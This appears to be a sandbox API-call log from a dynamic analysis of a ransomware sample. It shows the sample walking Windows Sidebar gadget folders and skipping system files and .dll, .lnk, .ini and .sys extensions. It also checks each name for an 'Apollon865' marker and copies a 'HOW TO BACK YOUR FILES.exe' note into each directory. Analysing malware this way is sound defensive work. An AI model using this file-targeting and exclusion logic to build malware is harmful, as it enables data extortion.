	[0051.776] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="flyout.css", cAlternateFileName="")) returned 1
	[0051.776] lstrcmpiW (lpString1="flyout.css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.776] lstrcmpiW (lpString1="flyout.css", lpString2="Apollon865.txt.exe") returned 1
	[0051.776] lstrcmpiW (lpString1="flyout.css", lpString2=".") returned 1
	[0051.776] lstrcmpiW (lpString1="flyout.css", lpString2="..") returned 1
	[0051.776] lstrcmpiW (lpString1="flyout.css", lpString2="windows") returned -1
	[0051.776] lstrcmpiW (lpString1="flyout.css", lpString2="bootmgr") returned 1
	[0051.776] lstrcmpiW (lpString1="flyout.css", lpString2="temp") returned -1
	[0051.776] lstrcmpiW (lpString1="flyout.css", lpString2="pagefile.sys") returned -1
	[0051.776] lstrcmpiW (lpString1="flyout.css", lpString2="boot") returned 1
	[0051.776] lstrcmpiW (lpString1="flyout.css", lpString2="ids.txt") returned -1
	[0051.776] lstrcmpiW (lpString1="flyout.css", lpString2="ntuser.dat") returned -1
	[0051.776] lstrcmpiW (lpString1="flyout.css", lpString2="perflogs") returned -1
	[0051.776] lstrcmpiW (lpString1="flyout.css", lpString2="MSBuild") returned -1
	[0051.776] lstrlenW (lpString="flyout.css") returned 10
	[0051.776] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\*") returned 74
	[0051.776] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="flyout.css" | out: lpString1="flyout.css") returned="flyout.css"
	[0051.776] lstrlenW (lpString="flyout.css") returned 10
	[0051.776] lstrlenW (lpString="Apollon865") returned 10
	[0051.776] lstrlenW (lpString=".dll") returned 4
	[0051.776] lstrcmpiW (lpString1="flyout.css", lpString2=".dll") returned 1
	[0051.776] lstrlenW (lpString=".lnk") returned 4
	[0051.776] lstrcmpiW (lpString1="flyout.css", lpString2=".lnk") returned 1
	[0051.776] lstrlenW (lpString=".ini") returned 4
	[0051.776] lstrcmpiW (lpString1="flyout.css", lpString2=".ini") returned 1
	[0051.776] lstrlenW (lpString=".sys") returned 4
	[0051.776] lstrcmpiW (lpString1="flyout.css", lpString2=".sys") returned 1
	[0051.776] lstrlenW (lpString="flyout.css") returned 10
	[0051.776] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="RSSFeeds.css" | out: lpString1="RSSFeeds.css") returned="RSSFeeds.css"
	[0051.777] lstrlenW (lpString="RSSFeeds.css") returned 12
	[0051.777] lstrlenW (lpString="Apollon865") returned 10
	[0051.777] lstrcmpiW (lpString1="SFeeds.css", lpString2="Apollon865") returned 1
	[0051.777] lstrlenW (lpString=".dll") returned 4
	[0051.777] lstrcmpiW (lpString1="RSSFeeds.css", lpString2=".dll") returned 1
	[0051.777] lstrlenW (lpString=".lnk") returned 4
	[0051.777] lstrcmpiW (lpString1="RSSFeeds.css", lpString2=".lnk") returned 1
	[0051.777] lstrlenW (lpString=".ini") returned 4
	[0051.777] lstrcmpiW (lpString1="RSSFeeds.css", lpString2=".ini") returned 1
	[0051.777] lstrlenW (lpString=".sys") returned 4
	[0051.777] lstrcmpiW (lpString1="RSSFeeds.css", lpString2=".sys") returned 1
	[0051.777] lstrlenW (lpString="RSSFeeds.css") returned 12
	[0051.777] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="settings.css" | out: lpString1="settings.css") returned="settings.css"
	[0051.777] lstrlenW (lpString="settings.css") returned 12
	[0051.777] lstrlenW (lpString="Apollon865") returned 10
	[0051.779] lstrcmpiW (lpString1="ttings.css", lpString2="Apollon865") returned 1
	[0051.779] lstrlenW (lpString=".dll") returned 4
	[0051.779] lstrcmpiW (lpString1="settings.css", lpString2=".dll") returned 1
	[0051.779] lstrlenW (lpString=".lnk") returned 4
	[0051.779] lstrcmpiW (lpString1="settings.css", lpString2=".lnk") returned 1
	[0051.779] lstrlenW (lpString=".ini") returned 4
	[0051.779] lstrcmpiW (lpString1="settings.css", lpString2=".ini") returned 1
	[0051.779] lstrlenW (lpString=".sys") returned 4
	[0051.779] lstrcmpiW (lpString1="settings.css", lpString2=".sys") returned 1
	[0051.779] lstrlenW (lpString="settings.css") returned 12
	[0051.779] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget"
	[0051.779] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0051.779] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0051.779] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget") returned 67
	[0051.779] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget"
	[0051.779] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.779] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0051.792] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.792] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x36f06790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36f06790, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0051.792] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.792] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.792] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.792] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x36f06790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36f06790, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.792] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.792] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.792] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.792] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.792] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaa54a84, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaa54a84, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc07b211c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x7a53, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1
	[0051.792] lstrcmpiW (lpString1="drag.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.793] lstrcmpiW (lpString1="drag.png", lpString2="Apollon865.txt.exe") returned 1
	[0051.793] lstrcmpiW (lpString1="drag.png", lpString2=".") returned 1
	[0051.793] lstrcmpiW (lpString1="drag.png", lpString2="..") returned 1
	[0051.793] lstrcmpiW (lpString1="drag.png", lpString2="windows") returned -1
	[0051.793] lstrcmpiW (lpString1="drag.png", lpString2="bootmgr") returned 1
	[0051.793] lstrcmpiW (lpString1="drag.png", lpString2="temp") returned -1
	[0051.793] lstrcmpiW (lpString1="drag.png", lpString2="pagefile.sys") returned -1
	[0051.793] lstrcmpiW (lpString1="drag.png", lpString2="boot") returned 1
	[0051.793] lstrcmpiW (lpString1="drag.png", lpString2="ids.txt") returned -1
	[0051.793] lstrcmpiW (lpString1="drag.png", lpString2="ntuser.dat") returned -1
	[0051.793] lstrcmpiW (lpString1="drag.png", lpString2="perflogs") returned -1
	[0051.793] lstrcmpiW (lpString1="drag.png", lpString2="MSBuild") returned -1
	[0051.793] lstrlenW (lpString="drag.png") returned 8
	[0051.793] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\*") returned 69
	[0051.793] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="drag.png" | out: lpString1="drag.png") returned="drag.png"
	[0051.793] lstrlenW (lpString="drag.png") returned 8
	[0051.793] lstrlenW (lpString="Apollon865") returned 10
	[0051.793] lstrlenW (lpString=".dll") returned 4
	[0051.793] lstrcmpiW (lpString1="drag.png", lpString2=".dll") returned 1
	[0051.793] lstrlenW (lpString=".lnk") returned 4
	[0051.793] lstrcmpiW (lpString1="drag.png", lpString2=".lnk") returned 1
	[0051.793] lstrlenW (lpString=".ini") returned 4
	[0051.793] lstrcmpiW (lpString1="drag.png", lpString2=".ini") returned 1
	[0051.793] lstrlenW (lpString=".sys") returned 4
	[0051.793] lstrcmpiW (lpString1="drag.png", lpString2=".sys") returned 1
	[0051.793] lstrlenW (lpString="drag.png") returned 8
	[0051.793] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0051.793] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0051.793] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x94) returned 0x5994c0
	[0051.793] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0051.793] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36f06790, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x36f06790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.794] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.794] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc082453c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xc082453c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xc082453c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x255b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1
	[0051.794] lstrcmpiW (lpString1="icon.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.794] lstrcmpiW (lpString1="icon.png", lpString2="Apollon865.txt.exe") returned 1
	[0051.794] lstrcmpiW (lpString1="icon.png", lpString2=".") returned 1
	[0051.794] lstrcmpiW (lpString1="icon.png", lpString2="..") returned 1
	[0051.794] lstrcmpiW (lpString1="icon.png", lpString2="windows") returned -1
	[0051.794] lstrcmpiW (lpString1="icon.png", lpString2="bootmgr") returned 1
	[0051.794] lstrcmpiW (lpString1="icon.png", lpString2="temp") returned -1
	[0051.794] lstrcmpiW (lpString1="icon.png", lpString2="pagefile.sys") returned -1
	[0051.794] lstrcmpiW (lpString1="icon.png", lpString2="boot") returned 1
	[0051.794] lstrcmpiW (lpString1="icon.png", lpString2="ids.txt") returned -1
	[0051.794] lstrcmpiW (lpString1="icon.png", lpString2="ntuser.dat") returned -1
	[0051.794] lstrcmpiW (lpString1="icon.png", lpString2="perflogs") returned -1
	[0051.794] lstrcmpiW (lpString1="icon.png", lpString2="MSBuild") returned -1
	[0051.794] lstrlenW (lpString="icon.png") returned 8
	[0051.794] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US") returned 73
	[0051.794] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="icon.png" | out: lpString1="icon.png") returned="icon.png"
	[0051.794] lstrlenW (lpString="icon.png") returned 8
	[0051.794] lstrlenW (lpString="Apollon865") returned 10
	[0051.794] lstrlenW (lpString=".dll") returned 4
	[0051.794] lstrcmpiW (lpString1="icon.png", lpString2=".dll") returned 1
	[0051.794] lstrlenW (lpString=".lnk") returned 4
	[0051.794] lstrcmpiW (lpString1="icon.png", lpString2=".lnk") returned 1
	[0051.794] lstrlenW (lpString=".ini") returned 4
	[0051.794] lstrcmpiW (lpString1="icon.png", lpString2=".ini") returned 1
	[0051.794] lstrlenW (lpString=".sys") returned 4
	[0051.794] lstrcmpiW (lpString1="icon.png", lpString2=".sys") returned 1
	[0051.794] lstrlenW (lpString="icon.png") returned 8
	[0051.794] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="Images" | out: lpString1="Images") returned="Images"
	[0051.818] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0051.818] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x96) returned 0x599560
	[0051.820] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x59fcd0
	[0051.820] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaa7abe3, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaa7abe3, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0c74d1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1
	[0051.820] lstrcmpiW (lpString1="logo.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.820] lstrcmpiW (lpString1="logo.png", lpString2="Apollon865.txt.exe") returned 1
	[0051.820] lstrcmpiW (lpString1="logo.png", lpString2=".") returned 1
	[0051.820] lstrcmpiW (lpString1="logo.png", lpString2="..") returned 1
	[0051.820] lstrcmpiW (lpString1="logo.png", lpString2="windows") returned -1
	[0051.820] lstrcmpiW (lpString1="logo.png", lpString2="bootmgr") returned 1
	[0051.820] lstrcmpiW (lpString1="logo.png", lpString2="temp") returned -1
	[0051.820] lstrcmpiW (lpString1="logo.png", lpString2="pagefile.sys") returned -1
	[0051.820] lstrcmpiW (lpString1="logo.png", lpString2="boot") returned 1
	[0051.820] lstrcmpiW (lpString1="logo.png", lpString2="ids.txt") returned 1
	[0051.820] lstrcmpiW (lpString1="logo.png", lpString2="ntuser.dat") returned -1
	[0051.820] lstrcmpiW (lpString1="logo.png", lpString2="perflogs") returned -1
	[0051.820] lstrcmpiW (lpString1="logo.png", lpString2="MSBuild") returned -1
	[0051.820] lstrlenW (lpString="logo.png") returned 8
	[0051.820] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images") returned 74
	[0051.820] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="logo.png" | out: lpString1="logo.png") returned="logo.png"
	[0051.820] lstrlenW (lpString="logo.png") returned 8
	[0051.820] lstrlenW (lpString="Apollon865") returned 10
	[0051.820] lstrlenW (lpString=".dll") returned 4
	[0051.820] lstrcmpiW (lpString1="logo.png", lpString2=".dll") returned 1
	[0051.820] lstrlenW (lpString=".lnk") returned 4
	[0051.820] lstrcmpiW (lpString1="logo.png", lpString2=".lnk") returned 1
	[0051.820] lstrlenW (lpString=".ini") returned 4
	[0051.820] lstrcmpiW (lpString1="logo.png", lpString2=".ini") returned 1
	[0051.820] lstrlenW (lpString=".sys") returned 4
	[0051.820] lstrcmpiW (lpString1="logo.png", lpString2=".sys") returned 1
	[0051.820] lstrlenW (lpString="logo.png") returned 8
	[0051.821] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images"
	[0051.821] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599560 | out: hHeap=0x580000) returned 1
	[0051.821] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0051.821] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images") returned 74
	[0051.821] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images"
	[0051.821] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.821] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0051.828] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.828] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x36f78bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36f78bb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0051.828] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.828] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.828] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.828] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x36f78bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36f78bb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.855] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.855] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.855] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.855] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.855] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc082453c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xc082453c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xc082453c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb22, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0.png", cAlternateFileName="")) returned 1
	[0051.855] lstrcmpiW (lpString1="0.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.855] lstrcmpiW (lpString1="0.png", lpString2="Apollon865.txt.exe") returned -1
	[0051.855] lstrcmpiW (lpString1="0.png", lpString2=".") returned 1
	[0051.855] lstrcmpiW (lpString1="0.png", lpString2="..") returned 1
	[0051.855] lstrcmpiW (lpString1="0.png", lpString2="windows") returned -1
	[0051.855] lstrcmpiW (lpString1="0.png", lpString2="bootmgr") returned -1
	[0051.855] lstrcmpiW (lpString1="0.png", lpString2="temp") returned -1
	[0051.855] lstrcmpiW (lpString1="0.png", lpString2="pagefile.sys") returned -1
	[0051.855] lstrcmpiW (lpString1="0.png", lpString2="boot") returned -1
	[0051.855] lstrcmpiW (lpString1="0.png", lpString2="ids.txt") returned -1
	[0051.855] lstrcmpiW (lpString1="0.png", lpString2="ntuser.dat") returned -1
	[0051.855] lstrcmpiW (lpString1="0.png", lpString2="perflogs") returned -1
	[0051.855] lstrcmpiW (lpString1="0.png", lpString2="MSBuild") returned -1
	[0051.855] lstrlenW (lpString="0.png") returned 5
	[0051.855] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\*") returned 76
	[0051.855] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="0.png" | out: lpString1="0.png") returned="0.png"
	[0051.855] lstrlenW (lpString="0.png") returned 5
	[0051.855] lstrlenW (lpString="Apollon865") returned 10
	[0051.855] lstrlenW (lpString=".dll") returned 4
	[0051.855] lstrcmpiW (lpString1="0.png", lpString2=".dll") returned 1
	[0051.855] lstrlenW (lpString=".lnk") returned 4
	[0051.855] lstrcmpiW (lpString1="0.png", lpString2=".lnk") returned 1
	[0051.856] lstrlenW (lpString=".ini") returned 4
	[0051.856] lstrcmpiW (lpString1="0.png", lpString2=".ini") returned 1
	[0051.856] lstrlenW (lpString=".sys") returned 4
	[0051.856] lstrcmpiW (lpString1="0.png", lpString2=".sys") returned 1
	[0051.856] lstrlenW (lpString="0.png") returned 5
	[0051.856] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="1.png" | out: lpString1="1.png") returned="1.png"
	[0051.856] lstrlenW (lpString="1.png") returned 5
	[0051.856] lstrlenW (lpString="Apollon865") returned 10
	[0051.856] lstrlenW (lpString=".dll") returned 4
	[0051.856] lstrcmpiW (lpString1="1.png", lpString2=".dll") returned 1
	[0051.856] lstrlenW (lpString=".lnk") returned 4
	[0051.856] lstrcmpiW (lpString1="1.png", lpString2=".lnk") returned 1
	[0051.856] lstrlenW (lpString=".ini") returned 4
	[0051.856] lstrcmpiW (lpString1="1.png", lpString2=".ini") returned 1
	[0051.856] lstrlenW (lpString=".sys") returned 4
	[0051.856] lstrcmpiW (lpString1="1.png", lpString2=".sys") returned 1
	[0051.856] lstrlenW (lpString="1.png") returned 5
	[0051.856] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="10.png" | out: lpString1="10.png") returned="10.png"
	[0051.856] lstrlenW (lpString="10.png") returned 6
	[0051.856] lstrlenW (lpString="Apollon865") returned 10
	[0051.856] lstrlenW (lpString=".dll") returned 4
	[0051.856] lstrcmpiW (lpString1="10.png", lpString2=".dll") returned 1
	[0051.856] lstrlenW (lpString=".lnk") returned 4
	[0051.856] lstrcmpiW (lpString1="10.png", lpString2=".lnk") returned 1
	[0051.856] lstrlenW (lpString=".ini") returned 4
	[0051.856] lstrcmpiW (lpString1="10.png", lpString2=".ini") returned 1
	[0051.856] lstrlenW (lpString=".sys") returned 4
	[0051.856] lstrcmpiW (lpString1="10.png", lpString2=".sys") returned 1
	[0051.856] lstrlenW (lpString="10.png") returned 6
	[0051.857] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="11.png" | out: lpString1="11.png") returned="11.png"
	[0051.857] lstrlenW (lpString="11.png") returned 6
	[0051.857] lstrlenW (lpString="Apollon865") returned 10
	[0051.857] lstrlenW (lpString=".dll") returned 4
	[0051.857] lstrcmpiW (lpString1="11.png", lpString2=".dll") returned 1
	[0051.857] lstrlenW (lpString=".lnk") returned 4
	[0051.857] lstrcmpiW (lpString1="11.png", lpString2=".lnk") returned 1
	[0051.857] lstrlenW (lpString=".ini") returned 4
	[0051.857] lstrcmpiW (lpString1="11.png", lpString2=".ini") returned 1
	[0051.857] lstrlenW (lpString=".sys") returned 4
	[0051.857] lstrcmpiW (lpString1="11.png", lpString2=".sys") returned 1
	[0051.857] lstrlenW (lpString="11.png") returned 6
	[0051.857] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="2.png" | out: lpString1="2.png") returned="2.png"
	[0051.857] lstrlenW (lpString="2.png") returned 5
	[0051.857] lstrlenW (lpString="Apollon865") returned 10
	[0051.857] lstrlenW (lpString=".dll") returned 4
	[0051.857] lstrcmpiW (lpString1="2.png", lpString2=".dll") returned 1
	[0051.857] lstrlenW (lpString=".lnk") returned 4
	[0051.857] lstrcmpiW (lpString1="2.png", lpString2=".lnk") returned 1
	[0051.857] lstrlenW (lpString=".ini") returned 4
	[0051.857] lstrcmpiW (lpString1="2.png", lpString2=".ini") returned 1
	[0051.857] lstrlenW (lpString=".sys") returned 4
	[0051.857] lstrcmpiW (lpString1="2.png", lpString2=".sys") returned 1
	[0051.857] lstrlenW (lpString="2.png") returned 5
	[0051.857] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="3.png" | out: lpString1="3.png") returned="3.png"
	[0051.857] lstrlenW (lpString="3.png") returned 5
	[0051.857] lstrlenW (lpString="Apollon865") returned 10
	[0051.857] lstrlenW (lpString=".dll") returned 4
	[0051.857] lstrcmpiW (lpString1="3.png", lpString2=".dll") returned 1
	[0051.857] lstrlenW (lpString=".lnk") returned 4
	[0051.858] lstrcmpiW (lpString1="3.png", lpString2=".lnk") returned 1
	[0051.858] lstrlenW (lpString=".ini") returned 4
	[0051.858] lstrcmpiW (lpString1="3.png", lpString2=".ini") returned 1
	[0051.858] lstrlenW (lpString=".sys") returned 4
	[0051.858] lstrcmpiW (lpString1="3.png", lpString2=".sys") returned 1
	[0051.858] lstrlenW (lpString="3.png") returned 5
	[0051.858] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="4.png" | out: lpString1="4.png") returned="4.png"
	[0051.858] lstrlenW (lpString="4.png") returned 5
	[0051.858] lstrlenW (lpString="Apollon865") returned 10
	[0051.858] lstrlenW (lpString=".dll") returned 4
	[0051.858] lstrcmpiW (lpString1="4.png", lpString2=".dll") returned 1
	[0051.858] lstrlenW (lpString=".lnk") returned 4
